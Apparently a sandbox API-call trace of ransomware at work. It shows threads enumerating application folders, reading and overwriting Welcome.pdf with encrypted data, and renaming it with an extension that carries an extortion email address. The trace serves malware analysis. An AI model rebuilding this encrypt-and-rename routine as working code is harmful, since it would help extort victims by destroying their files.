	[0079.460] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*", lpFindFileData=0x2dddad0 | out: lpFindFileData=0x2dddad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0087.363] wcscmp (_String1=".", _String2=".") returned 0
	[0087.375] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x2dddad0 | out: lpFindFileData=0x2dddad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.375] wcscmp (_String1="..", _String2=".") returned 1
	[0087.375] wcscmp (_String1="..", _String2="..") returned 0
	[0087.375] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x2dddad0 | out: lpFindFileData=0x2dddad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 1
	[0087.375] wcscmp (_String1="Resource0", _String2=".") returned 1
	[0087.375] wcscmp (_String1="Resource0", _String2="..") returned 1
	[0087.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x49870e8
	[0087.375] wcscpy (in: _Dest=0x49870e8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources"
	[0087.375] wcscat (in: _Dest=0x49870e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\"
	[0087.375] wcscat (in: _Dest=0x49870e8, _Source="Resource0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0"
	[0089.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x49870e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0
	[0089.758] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x2dddad0 | out: lpFindFileData=0x2dddad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 0
	[0089.758] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0089.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dddad0) returned 1
	[0089.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78ed0) returned 1
	[0089.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d738) returned 1

Thread:
	id = 786
	os_tid = 0x1b74

	[0079.460] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf")) returned 0x20
	[0087.361] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf", dwFileAttributes=0x20) returned 1
	[0087.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\welcome.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ab8
	[0087.362] GetFileSizeEx (in: hFile=0x1ab8, lpFileSize=0x1cdbfe24 | out: lpFileSize=0x1cdbfe24*=77491) returned 1
	[0087.362] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x12eaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.362] ReadFile (in: hFile=0x1ab8, lpBuffer=0x1cdbfda8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1cdbfda4, lpOverlapped=0x0 | out: lpBuffer=0x1cdbfda8*, lpNumberOfBytesRead=0x1cdbfda4*=0x4, lpOverlapped=0x0) returned 1
	[0087.363] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818a0
	[0087.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.363] NtQuerySystemTime (in: CurrentTime=0x1cdbfd84 | out: CurrentTime=0x1cdbfd84*=132251868141006734) returned 0x0
	[0087.363] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x2630d0f3
	[0087.363] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x21426df2
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x8bc4712d
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x335d1c71
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xab54dfc5
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x952e0ebf
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x109af4c6
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xd1b3050a
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x795c598e
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x59c051c9
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x62c930fc
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xd2e4397a
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x9378db77
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xee648ab3
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xce331541
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x282e948c
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x4673efc3
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xca058fe8
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x5dd1825b
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x54adcf32
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xcac0f4f0
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x1d326bba
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xf3c8595f
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xca339b1e
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xcd0bbfc1
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xab994861
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x8e3b1737
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x4fffc78
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xd2bd42d7
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xedae9858
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0xf775730d
	[0087.364] RtlRandom (in: Seed=0x1cdbfd90 | out: Seed=0x1cdbfd90) returned 0x992f6a37
	[0087.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0087.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0087.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0087.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0087.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0087.375] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.375] ReadFile (in: hFile=0x1ab8, lpBuffer=0x4895858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1cdbfd64, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x1cdbfd64*=0xc800, lpOverlapped=0x0) returned 1
	[0087.376] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0087.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82b80
	[0087.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0087.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82b80) returned 1
	[0087.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0087.379] WriteFile (in: hFile=0x1ab8, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1cdbfd64, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1cdbfd64*=0xc800, lpOverlapped=0x0) returned 1
	[0087.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0087.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d781a0
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb660
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82838
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0087.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d782f0
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82838) returned 1
	[0087.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb660) returned 1
	[0087.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x107) returned 0x500d4a8
	[0087.381] SetFilePointerEx (in: hFile=0x1ab8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.382] WriteFile (in: hFile=0x1ab8, lpBuffer=0x500d4a8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x1cdbfde4, lpOverlapped=0x0 | out: lpBuffer=0x500d4a8*, lpNumberOfBytesWritten=0x1cdbfde4*=0x107, lpOverlapped=0x0) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d4a8) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d782f0) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d781a0) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818a0) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0087.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477d028
	[0087.383] wcscpy (in: _Dest=0x477d028, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf"
	[0087.383] wcscat (in: _Dest=0x477d028, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.383] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1cdbfd9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Welcome.pdf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768c80
	[0087.383] NtSetInformationFile (FileHandle=0x1ab8, IoStatusBlock=0x1cdbfd94, FileInformation=0x4768c80, Length=0xe0, FileInformationClass=0xa) returned 0x0
	[0087.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768c80) returned 1
	[0087.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44360) returned 1
	[0087.384] NtQueryInformationFile (in: FileHandle=0x1ab8, IoStatusBlock=0x1cdbfda8, FileInformation=0x1cdbfd80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1cdbfda8, FileInformation=0x1cdbfd80) returned 0x0
	[0087.384] NtSetInformationFile (FileHandle=0x1ab8, IoStatusBlock=0x1cdbfda8, FileInformation=0x1cdbfd80, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.385] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1
	[0087.385] FlushFileBuffers (hFile=0x1ab8) returned 1
	[0093.127] CloseHandle (hObject=0x1ab8) 

Thread:
	id = 787
	os_tid = 0x1b78

	[0079.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cameraicon_contrast-black.png")) returned 0x20
	[0079.500] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.500] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cameraicon_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.500] GetLastError () returned 0x5
	[0079.501] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0079.501] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751aa0) returned 1

Thread:
	id = 788
	os_tid = 0x1b7c

	[0079.502] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cameraicon_contrast-white.png")) returned 0x20
	[0079.502] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.502] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cameraicon_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.502] GetLastError () returned 0x5
	[0079.502] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0079.502] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751c90) returned 1

Thread:
	id = 789
	os_tid = 0x1b80

	[0079.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ca2e0
	[0079.503] wcscpy (in: _Dest=0x47ca2e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog"
	[0079.503] wcscat (in: _Dest=0x47ca2e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\"
	[0079.503] wcscat (in: _Dest=0x47ca2e0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\*"
	[0079.503] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db79c0
	[0079.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\*", lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e25227, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a3eee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970877d7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d707c0
	[0079.505] wcscmp (_String1=".", _String2=".") returned 0
	[0079.505] FindNextFileW (in: hFindFile=0x2d707c0, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96e25227, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a3eee, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970877d7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.506] wcscmp (_String1="..", _String2=".") returned 1
	[0079.506] wcscmp (_String1="..", _String2="..") returned 0
	[0079.506] FindNextFileW (in: hFindFile=0x2d707c0, lpFindFileData=0x2db79c0 | out: lpFindFileData=0x2db79c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e25227, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x96e4b480, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x96e4b480, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2c276, dwReserved0=0x0, dwReserved1=0x0, cFileName="bulldozer.3mf", cAlternateFileName="")) returned 1
	[0079.506] wcscmp (_String1="bulldozer.3mf", _String2=".") returned 1
	[0079.506] wcscmp (_String1="bulldozer.3mf", _String2="..") returned 1
	[0079.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e32258
	[0079.506] wcscpy (in: _Dest=0x4e32258, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog"
	[0079.506] wcscat (in: _Dest=0x4e32258, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\"
	[0079.506] wcscat (in: _Dest=0x4e32258, _Source="bulldozer.3mf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\bulldozer.3mf") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\bulldozer.3mf"

Thread:
	id = 790
	os_tid = 0x1b84

	[0079.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ca3b0
	[0079.505] wcscpy (in: _Dest=0x47ca3b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast"
	[0079.506] wcscat (in: _Dest=0x47ca3b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\"
	[0079.506] wcscat (in: _Dest=0x47ca3b0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\*"
	[0079.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db7c28
	[0079.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\*", lpFindFileData=0x2db7c28 | out: lpFindFileData=0x2db7c28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x970ada35, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa98a4daf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x970ada35, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70940
	[0079.506] wcscmp (_String1=".", _String2=".") returned 0
